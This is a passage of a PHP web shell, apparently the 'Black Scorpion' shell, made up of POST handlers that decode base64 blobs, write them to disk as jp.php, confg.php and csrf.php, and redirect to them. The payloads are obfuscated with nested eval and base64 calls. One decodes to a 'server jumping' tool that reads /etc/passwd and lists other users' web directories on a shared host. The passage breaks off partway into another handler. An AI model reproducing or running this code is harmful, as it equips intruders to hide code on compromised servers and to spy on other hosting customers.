  2733. if (isset($_POST['jumping'])) {
  2734. $jump_ing = "PD9waHANCg0KDQoNCiRqdW1waW5nID0gIlpXTm9ieUFuUEdoMGJXdytQR2hsWVdRK1BIUnBkR3hsUGljdVoyVjBaVzUyS0NKSVZGUlFYMGhQVTFRaUtTNG5JQzBnU25WdGNHbHVaeUJUWlhKMlpYSThMM1JwZEd4bFBqd3ZhR1ZoWkQ0OFltOWtlVDRuT3cwS0tDUnpiU0E5SUdsdWFWOW5aWFFvSjNOaFptVmZiVzlrWlNjcElEMDlJREFwSUQ4Z0pITnRJRDBnSjI5bVppYzZJR1JwWlNnblBHWnZiblFnYzJsNlpUMGlOQ0lnWTI5c2IzSTlJaU13TURBd01EQWlJR1poWTJVOUlrTmhiR2xpY21raVBqeGlQa1Z5Y205eU9pQlRZV1psWDIxdlpHVWdQU0JQYmp3dllqNDhMMlp2Ym5RK0p5azdEUXB6WlhSZmRHbHRaVjlzYVcxcGRDZ3dLVHRBSkhCaGMzTjNaQ0E5SUdadmNHVnVLQ2N2WlhSakwzQmhjM04zWkNjc0ozSW5LVHRwWmlBb0lTUndZWE56ZDJRcElIc2daR2xsS0NjOFptOXVkQ0J6YVhwbFBTSTBJaUJqYjJ4dmNqMGlJekF3TURBd01DSWdabUZqWlQwaVEyRnNhV0p5YVNJK1BHSStXeTFkSUVWeWNtOXlJRG9nUTI5MVpHNWdkQ0JTWldGa0lDOWxkR012Y0dGemMzZGtQQzlpUGp3dlptOXVkRDRuS1RzZ2ZRMEtKSEIxWWlBOUlHRnljbUY1S0NrN0pIVnpaWEp6SUQwZ1lYSnlZWGtvS1Rza1kyOXVaaUE5SUdGeWNtRjVLQ2s3SkdrZ1BTQXdPM2RvYVd4bEtDRm1aVzltS0NSd1lYTnpkMlFwS1hza2MzUnlJRDBnWm1kbGRITW9KSEJoYzNOM1pDazdhV1lnS0NScElENGdNVEF3S1hzZ0pIQnZjeUE5SUhOMGNuQnZjeWdrYzNSeUxDYzZKeWs3SUNBa2RYTmxjbTVoYldVZ1BTQnpkV0p6ZEhJb0pITjBjaXd3TENSd2IzTXBPeUFnSkdScGNub2dQU0FuTDJodmJXVXZKeTRrZFhObGNtNWhiV1V1Snk5d2RXSnNhV05mYUhSdGJDOG5PeUFnYVdZZ0tDZ2tkWE5sY201aGJXVWdJVDBnSnljcEtTQjdJR2xtSUNocGMxOXlaV0ZrWVdKc1pTZ2taR2x5ZWlrcElIc2dZWEp5WVhsZmNIVnphQ2drZFhObGNuTXNKSFZ6WlhKdVlXMWxLVHNnSUdGeWNtRjVYM0IxYzJnb0pIQjFZaXdrWkdseWVpazdJSDE5ZlNScEt5czdmUTBLWldOb2J5QW5QSEErUEdadmJuUWdjMmw2WlQwaU5TSWdZMjlzYjNJOUlpTXdNRGd3T0RBaUlHWmhZMlU5SWtOaGJHbGljbWtpUGxObGNuWmxjaUJLZFcxd2FXNW5JRVpwYm1SbGNpQldaWEp6YVc5dUlETXVNQ0E4WW5JK1BDOW1iMjUwUGp4bWIyNTBJSE5wZW1VOUlqTWlJR052Ykc5eVBTSWpPREF3TURBd0lpQm1ZV05sUFNKRFlXeHBZbkpwSWo1RGNtVmhkR1ZrSUdKNUlIVjZZVzVqSUh3Z01qQXhNU0F0SUZSaGJtZGxjbUZ1WnlBdElFbHVaRzl1WlhOcFlUd3ZabTl1ZEQ0OFptOXVkQ0J6YVhwbFBTSTBJaUJqYjJ4dmNqMGlJekF3TURBd01DSWdabUZqWlQwaVEyRnNhV0p5YVNJK1BHSnlQanhpY2o1RVpXUnBZMkYwWldRZ1ZHOGdPaUE4WVNCb2NtVm1QU0pvZEhSd09pOHZZMjlrWlMxelpXTjFjbWwwZVM1amIyMGlJSFJoY21kbGREMWZZbXhoYm1zK2QzZDNMbU52WkdVdGMyVmpkWEpwZEhrdVkyOXRQQzloUGlBdElEeGhJR2h5WldZOUltaDBkSEE2THk5b1lXTnJaWEl0WTJsellXUmhibVV1YjNKbklpQjBZWEpuWlhROVgySnNZVzVyUG5kM2R5NW9ZV05yWlhJdFkybHpZV1JoYm1VdWIzSm5QQzloUGp3dlptOXVkRDQ4Wm05dWRDQnphWHBsUFNJeklpQmpiMnh2Y2owaUl6Z3dNREF3TUNJZ1ptRmpaVDBpUTJGc2FXSnlhU0krUEdKeVBsUm9ZVzVySUhSdklEb2dXVzluZVdGallYSmtaWEpzYVc1cklDMGdTVzVrYjI1bGMybGhiaUJEZVdKbGNpQXRJRWhoWTJ0bGNpQk9aWGRpYVdVZ0xTQkVaWFpwYkhwak1HUmxJQzBnVEhWdFlXcGhibWRqY21WM0lFRnVaQ0JCYkd3Z1JtOXlkVzBnU0dGamEyVnlJRWx1Wkc5dVpYTnBZVHd2Wm05dWRENDhMM0ErUEdKeVBqeG1iMjUwSUhOcGVtVTlJak1pSUdOdmJHOXlQU0lqTURBNE1EZ3dJaUJtWVdObFBTSkRZV3hwWW5KcElqNGdJQ0FnSUNBZ0lDQmJMVjA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDFiSUZOVVFWSlVJRjA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDFiTFYwZ1BHSnlQanhpY2o0OEwyWnZiblErSnpzTkNtWnZjbVZoWTJnZ0tDUjFjMlZ5Y3lCaGN5QWtkWE5sY2lsN1pXTm9ieUFpUEdadmJuUWdjMmw2WlQwbk15Y2dZMjlzYjNJOUp5TmxaVEE0TURnbklHWmhZMlU5SjBOaGJHbGljbWtuUGlCYksxMGdMMmh2YldVdkpIVnpaWEl2Y0hWaWJHbGpYMmgwYld3dlBDOW1iMjUwUGp4aWNpOCtJanQ5SUdWamFHOGdJbHh1SUR4bWIyNTBJSE5wZW1VOUp6TW5JR052Ykc5eVBTY2pNREE0TURnd0p5Qm1ZV05sUFNkRFlXeHBZbkpwSno0OFluSStXeTFkUFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5V3lCR1NVNUpVMGdnWFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFZzdFhTQThZbkkrUEM5bWIyNTBQbHh1SWpzZ1pXTm9ieUFpWEc0Z1BHWnZiblFnYzJsNlpUMG5NaWNnWTI5c2IzSTlKeU00TURBd01EQW5JR1poWTJVOUowTmhiR2xpY21rblBsc3JYU0JUWTJGdWJtVnljeUJvWVhabElHSmxaVzRnWTI5dGNHeGxkR1ZrSUh3Z1ZHaGhibXNnZVc5MUlHWnZjaUIxYzJsdVp5QjBhR2x6SUhSdmIyeHpJRnNyWFR3dlptOXVkRDVjYmlJN0lHVmphRzhnSnp3dlltOWtlVDQ4TDJoMGJXdytKenNOQ2c9PSI7IGV2YWwoYmFzZTY0X2RlY29kZSgkanVtcGluZykpOw0KPz4=
  2735. ";
  2736. $blackscorpionS = @fopen("jp.php", "w");
  2737. @fwrite($blackscorpionS, base64_decode($jump_ing));
  2738. @fclose($blackscorpionS);
  2739. header("Location:jp.php");
  2740. }
  2741.  
  2742. if (isset($_POST['confg'])) {
  2743. $confg = "PD9waHANCi8qDQoJCVRoZSBHaXZlbiBDb2RlIFdhcyBTdWNjZXNzZnVsbHkgT2JmdXNjYXRlZCBCeSBCbGFjayBTY29ycGlvbiANCgkJCQkJCUZyb20gOiBodHRwOi8vMTI3LjAuMC4xL3NoZWxscy9lbi5waHANCgkJCQkJCQkJCVRoYW5rcyBGb3IgVXNpbmcgOkQNCgkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCbGFjayBTY29ycGlvbiBPYmZ1c2NhdGlvbg0KKi8NCiRibGFja2llID0gIlpYWmhiQ1V5T0NVeU55VXpSaVV5Tm1kMEpUTkNKVEkzTG1kNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZhVzVtYkdGMFpTVXlPR2Q2YVc1bWJHRjBaU1V5T0dKaGMyVTJORjlrWldOdlpHVWxNamh6ZEhKeVpYWWxNamdsTWpSQ2JHRmphMTlUWTI5eWNHbHZiaVV5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVelFnMEsiOw0KJEJsYWNrX1Njb3JwaW9uPSAiVVRzSVFGQXdUeTJJNytpdmpZN3pGUmFzVFFBb3JDcjlTY2FvaFVob3pDWXhjVzhGUGdaR2pmd2s0Tk81Tk9JSFhrWWtKTzdndTN5Yi90REN4cW5hV2t2ZmFZTEEvL2E3OVBWNXFpangrZWMvNXpWYy9qVy9CbXp6UzQxbjJmNlcvU2x6KzVaV3ZuL3BNUzcyS1M3OC91VFh1YzFmdTF5OGUwT2ZFM1VTV2NkMnB4b3BOamZUSlpaMitXQWprMHMrN2R1cHZ4ZnZyQW1ZNHpFMmp3MDM1K1hKeDJYZW5KdHJtOVdxaU41TS9WYWhlMDg4aGlVZ1k5YjQyRVFQRytDK2cxS2dUK1FyeUIwTnI0Qm1RYTVMSDRvU3VuOE9GQ1dBV05aT2FoQ28xKzRSUmF2eUJ4cTlGSng2ZXVyUGpKVHNNVmQrc2RxV2lYclFpQVlsVkhNOHJHcFRHelZERXBNYUpUamRQTTA5YVdGNFBZRU1hK05EeEx5SmhRcEhzVXg2OFVvdElFZ0NkVEJhbUNHMW9OdUFSYklzSFM4VXBQMHJZdTZWSkFjZDM1S010aGhMb3JxRW9XcVREa2M1VUN5WUQvYWU3ZWxRQnp4Z0N3NnZ3SnZ1RGIwSzdoK25hcytVeHlISjZoanNCcWVEdlc2ekJmY0JlcGxpaXdkSDNmbGVZSWpNRHR6a29QTTNURktBcHVEeEF1UkJOazAzT1IyMklBQWcwQStIQ0JXcVV0YzFMallBUW1Vd1hra3FlaUZJUmFTWldYSnh2R2lSakd1d0VFaDBMUko4bmxHTDdsZUE2Uk1iVVJ0Z0FMY2kwNmxBUTRxbE1lSGcxQ1BhZ2NtUGxva05NL0pha2diMTJnSjlxb0JSWndUYnRTV1QrZTA1bFFDNlZEMmRvL0VPRi9pRTF6Q1BPaFVQNUR6SkFyNWtnL1U0TUFDRkcyOHVPUUJnNXg3SGYreHBEUmttemJZSmNJM1BGR3V5ODd3UXlldUo4a0JIaEsraGNBQkRaSk1SbWNXaS9HK0Z5UXpsRlZzbjJCZ1d0NjNVd0UzWXZPUFR0YUd4UnZZVVBTMHpuNktobXFnQlNjREo4TkF6emMrdVk5emZFQmlMckpnM0Jkdk1WQm85SVJGdGd5cEh5ajM3YTdxcm10R1MrSVFwZmo3UUpTQlJMVEVtdkphU3I1VzIrbHNPck00eENPVzdTcjdTb2JsdUFzVkdvQ1VITTYyTjBhTGp2YlhzR2FxM09ua2kweTBTRHBQVVlRcXVWTndFTkJnc1hlcmxRRlhPRXVzYzFyenA4UVZ5UXcvQzZsMGFnMEQ3N3NvYkd3bXFQRUI3UzNYelpSMi84aDA0dk82SkZsSERobDJER2RWeDBrc01TQ3ZrbFlscXdoNUl1aVNRWVJHQzFuejVKNDV4eUkvS1hWNU44RnRVUG1MM0trUVE5MmVNd0srTGFOZVVOUHBDREZ6N1lVMDIyTkxTbElDS2k2WFdVYU1aSWdYRndWK3VoZEdOZzZ6Y29paWhMaGFCN1E1dExzd1pJQnBsVDZkMEdIaFZ5bzhTZEIvTDl0ZmY0b2Z3Z0kzUmY4RGswOEhWdUVGZW0xUXFUUmFDYlkyMTJKRW9pbTJWU2tIT2x5SzhaaktlZTJiWHh0M2wreW5yeUFoYVlKUU9OekpSRUl6a0x5SG1TSE9Ya1RvTFVjaFMrY1BzMUhMeEJLRlo5a1dSb0lCWTVLTGtRaDJOVC9nTEVwWmJxTFQxS29MK2QyNStYN01jMndORnN0T1A0OVR2THVMckxOQVZoeXdRUjdVK2tWbmdrOGVZTE1QUCs5RlprUHdqWW5LV1B5bnFCZ2grYW1mdjRNVWs3NnA4Q0gwTHpHL1M5UzI3YjZNY2oreEdSbFlQYXl6bFhRcTFoWERuQ2pwU2o2OGJoYWxBSHRMVVVld0pMSUg4NTdqbkJ5ekUwQ20zc3p1TUluRFc3a3NUQit3amQ5azJicHVBMHc4NkdNZlliRXNPY0lRc1U2VWZYTm80OTdvSkJleEZuS0xUK1gvaTdzaEN5NjYrZWZOclF2RnpzQnJhWjRCcW44N2FhNmJRVjdpdjJwR3BGd3FYYnpuTUhGWkMyUlhsUVYrdzNLZm9VajBOcDV0YkhVVDU0RXk0Q0lsUEJyc2JHdEs1aXp4dDVSSTJkRmtuNTkrSW9heUhyNEF0eHVHM1J4dXdidnE0UWJVL0l2clFxWktHcEtsaVlKRjJ1L3pmekJJTG9qaldOR2ljeWFyTndvaW5LM1lOcVVpRE8yNlkrZ2hzODRIcEVMRkJha1l0Qi82WjhjZHR2THJCYUp4RlByTndpbllQcFBCVU1xN21BVyszSitwN3B2Q1NIMytQM2R3cXRsOG84cUtIcUE3OGx4WHVmSjFsVlpkZ0xPc1k0U0VOME9UU1ppQmNwVDlnelJubjg5aGNsWW5IcGRXY3RIVkpxYzdLWVBrRko3Wi9wb20wTmpYdFdTaUN0Y0hpbTh5Z29qZ2VZWW50M3lBbXFFS252S3Y4TE5qT0RqOWdhWXMzNUkwcVJrTHJucmhPSG41d2RVU0NKUkdHcjdPeGk5NlZnSmpLUjlSWXlDenNwZndMV3NIMG9xNCtZT2pOOXk1elhtekpSYWNyeFFYTUNmTGplKzBWcGxaQU9qTE8wd2pwaC9JTGJqbkJsUWp1eHNadGlEcmlqcHc1KzV0ZTJaRmxwNi9BNk9WT0xkVEZOaDhvYVlLaE9rRnFWcFcvTTRwcHRRV254RTdFemdqWUVqRnVyNE5JcFlCdXZFenB1R2YySzBtdDFIZElOZmFNSXRtREJVOThmQWVyRHZYeXRGbE5OaHV0MzV6Y1g0TVZ3dDhSTUJSYXFSa0ZaRG1zNFpHbk8rSUZzVVBMTXlnZFpaa1R2ZjJ6b0Q4ZWNsblhjVFJLSUJkQUZMR2kwSEVKNjd0ekx2R2dWckthYUxqQlhWbmNNTXgzZ1VWd2hVdU1QbUw0Sjh2S0NSakJ4MUh1V2hkV3d1TnBVR2hmak5nZVJJVjkrV1dlMnZyNmhCd0NkM1lKbWs4MkI1SkZIb2E5Y2pNdlRib0JMcmJRWmlYNlMxeEw0SldmaTdreStkS2txL0kzSGZlOEJQVjJUUTgwOUZZUEh1OE5oVWJkZFh3ZTNqQml0a1N3MTNaZHk4WGtUMzFtOGNQRXYxMWJ0V1NkNjJBWXlMVU1udityc0t4REI4aTVTa2VFcW52ZHo0b010RXVFN3lKWnhNdDl3UGRlTGhKSXE1Kzl3RE53SmpjUU11WXN1YXhPS1R6VVhIT0Y3akpuZXJIcEx3VEFMSVFhaEJjUlo3RWRiM2RNb2l0S3F4Q0pXemwrWm04Wlg2MWJvVmNYa0FyNDJsVXk2eG5JeVVYVWVNeE1zUFRxSFBFR3JvTXo2NHZ2WjRhRXJWQjcxYVdyZDJuNUtmQXVKZnBtVGRBR05ZcnRoQzdWNDljSGt4ekFicWVEN0R6RVpZd0VKY2RjVkVqT2NoeUFRM2dkSTdzbTFPT3lJeE5qQlFnQlBveTVGQlFGWSsrdGFjMUY2SlNYYTFnSHQ1ZUlUZVFQSm5ycnBQYS9sRXhCZnNzcFZpdHlHWG5KQ1lTRDBEMWdBMzRNV2NNZU1SZCs1QXVOY0IyQUhUcUpVMnNPUUVWOUUvejdydklmdC94VG03UHBYd2F1SjlQbjlzOTVKN0cycCtwUWg4cHBZc2UvK1lleCs4NzR3TElqbFRpeXl2ZTEzUzBpanhYaTZTUU1YRUJUbHUzdThUT1VLSVNYanorV3Q5ZmIvSC9YUDlzU3Z2elQ0QmhUOHlIeU1xYjFaOFVLQmZLbEQ2aTY5MTFsNkduaTh4Mzk0d0VxQ200dnU5MTJ5amFkOHQ1ZmZlSjhId1AvL2kvK1Q5QjlMMS9rKzc5aDdmZDdYcnZyM2REVHdzcDV2aDd5OWNZNjhma2Yvc1B6WnM5YnljdUJMOHBRL2dzUlFFMFh2elN1YmRkN2QzQU1aeTNBZjlHNnE5T1Q2NGtidGh6MmpsSDd1OWNKajdVZEtpazl6dmRiaWQrbjBNZFdOUC94bXp2c2IwWS9sWHJZdng4c1RULy8vOHl3OG5SKy81Ylh0Ly9Qc1AzZkY4SWovZnd5Z1VlMkVsRlNpNm04UHl6em51TTBPZllVVFVIRGhlWm9BcXBiZVhJSVN5aW9NdXo5S2QvMUhYaHUwKzhSWDJPbjRadjZKVVJBY2luOWZuQUlCd0plMlRkQ3JFQW40WmZ5SllUQWNpbjkrbVFRQndKZTJQYkNNRkFuNFpQcUpjVkFjaW45ZG1nWUJ3SmUyTFpDdEZBbjRaL2hKZ1hBY2luOThsd2dCd0plMkhYQ09HQW40WnZaSmtaQWNpbjlibEFwQndKZTJEVkN2R0FuNFpmUkpvYkFjaW45NmtReEJZZk5Kb2NBIjsNCmV2YWwoaHRtbHNwZWNpYWxjaGFyc19kZWNvZGUodXJsZGVjb2RlKGJhc2U2NF9kZWNvZGUoJGJsYWNraWUpKSkpOw0KZXhpdDsNCj8+";
  2744. $blackscorpionS1 = @fopen("confg.php", "w");
  2745. @fwrite($blackscorpionS1, base64_decode($confg));
  2746. @fclose($blackscorpionS1);
  2747. header("Location:confg.php");
  2748. }
  2749. if (isset($_POST['csrf'])) {
  2750. $csrf = "PD9waHANCi8qDQoJCVRoZSBHaXZlbiBDb2RlIFdhcyBTdWNjZXNzZnVsbHkgT2JmdXNjYXRlZCBCeSBCbGFjayBTY29ycGlvbiANCgkJCQkJCUZyb20gOiBodHRwOi8vMTI3LjAuMC4xL3NoZWxscy9lbi5waHANCgkJCQkJCQkJCVRoYW5rcyBGb3IgVXNpbmcgOkQNCgkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCbGFjayBTY29ycGlvbiBPYmZ1c2NhdGlvbg0KKi8NCiRibGFja2llID0gIlpYWmhiQ1V5T0NVeU55VXpSaVV5Tm1kMEpUTkNKVEkzTG1kNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZhVzVtYkdGMFpTVXlPR2Q2YVc1bWJHRjBaU1V5T0dKaGMyVTJORjlrWldOdlpHVWxNamh6ZEhKeVpYWWxNamdsTWpSQ2JHRmphMTlUWTI5eWNHbHZiaVV5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVelFnMEsiOw0KJEJsYWNrX1Njb3JwaW9uPSAiK3VSbUpWZkYwaXY1UWdpM2h4UUQ0VEJDWlhrZURNMHhtMy9EQWVLK2RBSHN5djZsdnYrMjUvbzVCZEpwZ2pPYnFyOVo4Uk4xWFNzQVFuS1IybnNQOEhRcnlIR0EvdVArL3pRL3E1Y09QaXQvL3QwdC9NL1BnWjBTSFJ4ZDlucnRmMmRQZldpbW5sZmVqbWlOaW1LTEczbHJYcnlmMTZSMnYrM0haaWNxWkJndG9rVEx6MFhrU2w0KytXcE52MHptb3JRVHM5TkpmcTN6ejIzU1FrNW1sM0tTTS9OUlU0WjVER1ArWUxrOXZwWlo5TUxmYkk1WjIrV2lqOXhNL0ZSMlp0NTdzTUpzd2tma0RCR213bThRWXpyVm5GUUpKSmo1UzZlYVlSdllla0RZMUlDeFMrTlRPUXVlelZyck5TRHkxMXhxTjhCamRSLzdHSzJWN01BcGRjWDdDY1RWSVFoQzMxaXhZbnJIMjdteERvYVU4ZFlDQUFnZWZUTjZBTXc1aUNZUWRxSzhIV2FTUVl5OUkyMXQ4NHRNZnlUTGhWYnVQaGExemZZTlBML21ZVTlwKzBwV3RsWmVFcXlJN1dFbUJlMjgwWkVBNEwvdnBsVjNYaTJ1K3BUb2xmZzFsSWYrSXRUc0VLcG12T25DcEh4KzFsaTdCY01HNnRtNlJJZ3dMU0ExWEg3OXBYem8xaXVlRXcvdGN6Z1ZYcUNTSjNYcTk0WitkZ2pJZG1uUThjZ3ZQZTVhRkdURHorRmVCOUlvdC9ZZER5dXltU2s2cWFVdHVpNEVyT3NNTG5rdXQvcHFOM1FHenpLRmtZZ0p2TWlNVURsL253akdKRUNxejhMaFdrek50NDV0SnN0M09OSWY0YVU2NUd2UzQ5bFNlOGx6SCttTXV1cGdrdjRORHNuWXR0SHBJNC9TKzQwb0k0R2t5Y3Zma1BDRXk1UnVtSEhoMytNY0NlREhBMUpuTDR0WEFURFA4bU9EeC9zZUxJVDNEQWxkeVk0Y2NZQUN0eVI0Q0lkVzk2WmZQbGlOUStodE5KZXFVallIdVBveGlzY3d4eWd0ZUlsVzYzdE94VC9Gb1ozcU1nYmRmelNHK1pTeEJyRnYwaFhtR2tRMTdTbnlQVzRhR2pvTTFpVER0TzI3dVpieGdGSTJSR09mSWw1WjhZOUxWbUJ1VnBXQzFIVWVTWThZL0FiVmxYMTRaNFpQdmNnWGIwZHVwTklLajdnbkVUMDJXRDBXVkZ6QnNSNEk0cm5UbmZNSmNucjIxMUFDTElhbmNVam5xWDU5TGZ0dGZ5YmlYeHRvd3FXc3JWN3FCUzRVelhraWxpMjgwQVJQWW9DUHdzR2pKM0xyaHFjWlJPTW5nVTB1bW1sUmptVU44Y2FhenIvQ2VXeStMN0VNMGRaSUI3R3ZlQi9qdHJ5VklxbGdUQ2NwREFKdm02ZXBqYjJwdi9kbzlleVE3L05nNjFnR1J4VlFxYWFDak0rM0t4M3hiZk8zNFVnVHhneWgrWml4NlJ2eXlvcXhRNjdBWTdVd2tFWjRaRVUrQzNBUXdVdmJkYkxVMStXYlhZSzJQYXU2aFdscEZnOTRpbUVLRThqMmRBWm5Ga1BCSmNPRlNtRHhYdU5vaDd4d3d5VDl5YmNCZzQxNUlyMDdYcXNzSC84cXljcmtwUnhhQkU5OEh6S3BGK3VqeXZEUlhoc1ZkOFFsZEZ1WCs5ckVDMHg5b21zZVAyOVFHQ2NIUFlobTUwNHh0emo0Y01rZThKWEpSSHR4b2t5Z3NjN1NzR0p1ZEVqNXhsdmVSSnQ4eU9JSnd0Tnh5amFTK2V4aUtEK3pDeDRUWTl2UzFsV1JKeWFkNENFcGlEbWhlT1pqV1RHd05RTkZnYWtZZ2N4V29TQXZOQU5NV1BWS2piMUdjK1FkbTd5QVQ5dUxMMjY4bEhuREkrR3IwbXBOV3NVdVBRTVBzL2xlMHlSaWViRWV1cTRaOFdicDFpTjQ3UVNpK2p3dEFUcnhJb3hZV2JXOXJVV09NalJLQlRXVk1UZmRVSnB6eVNRbUovcXZnc3huYnhmbGNLY3JRV0cxRWNzM0RnRTY2Vi9XeXVUZi9LVE9HS2phU0pZMVhPTGljd25GQVpPSHRFKzRPQjAvaUM5RjcvNXlRRW5waXJtT2gzQ2RNckNzNE1ybmc2aTRqdzJzUm0xQ2U0K2JobDlZam90VnZ2WnB3QmI5VUR1V1pFTkthcUdNd25mN0t5YlFqaU4ybm5nOEo0MndJZ2I4OUhYTHh3TDdqUmpST3hGMjJKVmtYQUIvcllZbTc0cDRuYXFaTUlBTFlhUkpTSmVUV0sxRnZBaUdYMzVIWSsrMkxzWGk1cGV3V2Q0N01NclNqSW9sOFVGWXlJZHljaUcyY2FIU1lhaFRrUE5OemFSdFRRQU1sOVRJVlRjQnFoSXhyczdhd1lTbisrd0Myakhac0lwVzcxM2dJQVRpaFdkdUV4TU5uUTRIU3R6TDBaeHlGbk9mdWZXeVVOOU9LWTRQVUNwYkpZQ1V6L1ViNXp1WTlQNStacnpYTTVoV2Q3dnQ5UUwwZXNyNVRCTHBSdldKS2krMXBIR1plM2Z3NDNzSW5nZER1MTR0RmxTYUdiQitKNmJiNXFJOGttbldSYkpUYk5FdmNkcG1QTFNJZjNMY01KT1lMSnVXNFJUMlBJTStiMUdSTkxvVG4ycjcxa1NHdFN5cnlaRVJ5S2FrTUlvWkFRREhrNEN6cFBVZWMxV3pyanlTS1NuYnhCUThBSllnbEc5QytDU3NDS3czQ2xqUXdVZ1hSejdSMjJqUnhIZlRaNEp4ZjZRL1d4NjIzQ3JFc2lrVVVNSTdqcHAxNTBYZjBnOE1XNVRWNUdBa3NtZ3A3KzJjVUNha2UrZmhib0Q5aTlnZ0h0SVdHNCtVZjNCeVBGSjNHNHRIbHhWbWpPaEZpUUNrVUQ1MGlrY3pQYlZ0TUNYVmlkVFArVnhJaUozWlhOVW1udlZHSEt0SzBuNGxERlA5NlJaSjMrUVM4WXpnU0lFam1zVDJHQjBPN0FsZDBpWDhGSjVyRFdraGNDUEpWVlZ3dlBLYmMxeXUyejZvdUF5bzFObmdoNXI2WHlPSE9IV1czQ2NWMlhINzNGSEFWcEdXVXRoVEMzSjdNemlxSXhaS21xWjliV0FyZTc0Zjh3a1VYQmN3SW9VeXZObFQ5YWRJdEZobzNTVjAzbUl5MlpockZZVnZvSEY0TnVmcnVCRlZUS2loWVpoaTlFZEExZG1MZkpBOWtxUmNSY2JTU1A0bjlSampNa2tzWGhuaEI4RVFiNldRQmdOeEVpdktiOHQxMHRBTjgwaXd6ZkxRNVJ6VlMwYTJaYUtZODVLQ1F0Y3B1T0ZqbXFmR1d4d0pLSDhTTlBKSWViZFRWdGNUS0w5enBTNWlVZjlVWlJHeWwxSlZvSldWUzRFYTkyOStLemMyQ3VjejBmNHNWRVVwbW9oUnpITjRyYVFMbHZoQ1JmaDRnMU5MakZscnFXUEFnNnBFUkVCeURFOTgzV2l3aW9tNUFLRXcrQU4wMDNadUNtemlXdERMd3hUNllZN2dwUlVvdDJSc1N5TkRBQW05UHBRSHdtUFVQTkdsSnBnY3pJeFo0TnE1RE1DUVgwRUloOUVJNkN3NXhWcTk2UFVlU3QzdVR5WWFDS29NTzdUK2MzQUtRcGMrRVJVNmZGN2NEcktUeFhpbFZHVm5nQ1pjU0pkUng0cExYVmZHWUlwaDg3b0xLeXJXem5kVjhVeVlNbGZuM2kxWDJQV2hOYkY2MnNmVmRUR0N3YlZXZ0hMMnczUy9GOEJYVGx2LzRlcnpSSC8vUFVQSXFzZDgvay93N3dqLzlvTlBWU1BJVm9QWU82N3BjdjlqTG1JOCtWb2NTZWFlMXAyMkhPODNQSmtiUlNYUkVQUktjNSsvZHFRRVBVczNlVVV6L2UvUCs3RDE2VCs3OUs5UkF6WWRock9SbG1OOWt4N3A2NGxVVXNiRzFibjNsci80ai95Y1l1OERRZlk5Mjd2dktENm84UFcvKzlOd2Z0dTkvUFI3djhqN1gyL2svL1ZvL3ZUOXgzSFY3ZTU4T1VpOE5YZkdYUkwvLzY0N1gvZldBdWJibUpGNEFQSDZYbFBDQ2p3TzR2dXJWNWYvOUI5OEplSTRZMi9mUVg5andrY084SmRVMldjOXMvVnBhR05KMm1QeGxWZjcxNjdTdElaU3NWdThSblhmYU9VYy9aOWVVcDMreTg2TExyZi8vK0M4WDFPL3laOFBuelA2cC9IU0tGM1hxT2xpbGNqWllNN0FNME4rKzB2M2ZtbHp5eElicllWNW9aVnhiTTJPbnVpQWJ2Z3hQNFEvQ2YvMUhIcDIwdjhSWDJPbjRaUGtKOFdBY2luOUZtZ2VCd0plMnJYQ0ZHQW40Wi9iSkFaQWNpbjlrbHdtQndKZTJuVkNtR0FuNFp2VEpFYkFjaW45RGxBdkJ3SmUyalRDSEhBbjRaZkxKSWRBY2luOWlrUTNCd0plMmZSQ29IQW40WlBESk1mQWNpbjlCa2cvQndKZTFidkNKRUFuNFYvNktRUkFjaVg5Z3J3SEJVLzJLUVNBIjsNCmV2YWwoaHRtbHNwZWNpYWxjaGFyc19kZWNvZGUodXJsZGVjb2RlKGJhc2U2NF9kZWNvZGUoJGJsYWNraWUpKSkpOw0KZXhpdDsNCj8+";
  2751. $blackscorpionS1 = @fopen("csrf.php", "w");
  2752. @fwrite($blackscorpionS1, base64_decode($csrf));
  2753. @fclose($blackscorpionS1);
  2754. header("Location:csrf.php");
  2755. }
  2756. if (isset($_POST['joomre'])) {
